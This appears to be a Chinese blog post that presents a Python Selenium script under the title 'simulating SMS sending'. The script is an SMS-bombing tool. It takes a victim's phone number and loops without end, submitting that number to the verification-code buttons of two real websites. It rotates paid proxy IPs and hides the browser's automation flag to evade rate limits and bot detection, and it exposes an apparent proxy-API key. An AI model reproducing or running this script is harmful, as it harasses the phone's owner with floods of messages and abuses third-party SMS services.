用python模拟短信发送
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple selenium
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple requests
webdriver:
https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/?form=MA13LH
from selenium import webdriver
from selenium.webdriver import EdgeOptions
from selenium.webdriver.common.by import By
import requests
import time
def API(sms):
apiurl='http://xxxxxxx.com/dynamic/getips?auto_white=1&num=1&pt=1&result_type=text&split=1&trade_no=xxxxxxxxx'
headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0"}
api_requests=requests.get(url=apiurl,headers=headers).text
options = EdgeOptions()
if options :
options.add_argument(('--proxy-server=' + api_requests))
else:
api_requests='https://127.0.0.1:80'
driver = webdriver.Edge(options=options)
driver.get('https://u.southmoney.com/login')
driver.implicitly_wait(15)
driver.find_element(By.ID,'phone').send_keys(sms)
driver.find_element(By.ID,'codeBtn').click()
driver.quit()
return api_requests
def API1(sms):
apiurl='http://v2.api.juliangip.com/dynamic/getips?auto_white=1&num=1&pt=1&result_type=text&split=1&trade_no=1758403084041295&sign=edd53ff322da0a70f9a89bcfef68db86'
headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0"}
api_requests=requests.get(url=apiurl,headers=headers).text
options = EdgeOptions()
options.add_argument(('--proxy-server=' + api_requests))
driver = webdriver.Edge(options=options)
driver.execute_cdp_cmd("Page.addScriptToEvaluateOnNewDocument", {
"source": """
Object.defineProperty(navigator, 'webdriver', {
get: () => false
})
"""
})
driver.get('https://user.chinapp.com/register')
driver.implicitly_wait(15)
driver.find_element(By.ID,'re_username').send_keys(sms)
driver.find_element(By.ID,'doc-yeshili-code').click()
time.sleep(10)
driver.quit()
a=1
sms = input("输入要测试的手机:")
while True:
try:
API(sms)
print(f'[+] 已发送{a}')
a += 1
API1(sms)
print(f'[+] 已发送{a}')
a += 1
except:
sms = int(input("输入要测试的手机:"))
continue